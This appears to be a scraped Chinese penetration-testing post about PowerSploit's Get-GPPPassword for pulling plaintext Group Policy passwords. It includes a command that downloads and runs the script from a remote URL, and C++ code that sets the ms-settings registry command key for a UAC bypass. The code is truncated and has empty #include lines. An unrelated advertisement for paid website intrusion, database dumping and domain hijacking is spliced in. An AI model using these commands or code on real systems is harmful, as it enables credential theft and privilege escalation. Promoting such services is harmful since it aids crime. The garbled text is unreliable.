PowerSploit
工具地址:PowerSploit
我们利用的是其中的Get-GPPPassword模块。
检索通过组策略首选项推送的帐户的明文密码和其他信息。
如下三种使用方法:
1
2
3
powershell -executionpolicy bypass -file Get-GPPPassword.ps1
Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword
复制
但在实验过程中,由于2008系统中powershell的版本问题,并未利用成功。
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
using namespace std;
int main(int argc, char* argv[]) {
LPCSTR lpSubKey = "Software\\Classes\\ms-settings\\Shell\\Open\\Command";
LPCSTR defaultValue = "";
LPCSTR DelegateExecute = "DelegateExecute";
HKEY hkey = HKEY_CURRENT_USER;
HKEY hpkResult;
LONG result;
//获取执行文件
char* executeProgram = argv[2];
if (argc > 1) {
//add模式创建项
if (strcmp(argv[1], "add") == 0) {
//创建项
result = RegCreateKeyExA(hkey, lpSubKey, 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hpkResult, NULL);
if (result == ERROR_SUCCESS) {
printf("创建项%s成功\n", lpSubKey);
}
else {
printf("创建键值失败,错误代码为%d\n", GetLastError());
return 0;
}
//修改键值
//unsigned char bytes[] = "cmd.exe";
//设置默认值
result = RegSetValueExA(hpkResult, defaultValue, 0, REG_SZ, (unsigned char*)executeProgram, strlen(executeProgram));
if (result == ERROR_SUCCESS) {
printf("设置默认键值%s成功\n", e
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
PowerSploit
前沿科技 · 公開資訊 ·
#SIG-114595163
2026-10-03 23:50
標籤
#define
#include
摘要
PowerSploit
正文
指標
重要度80
可信度95
熱度15
瀏覽438
狀態已发布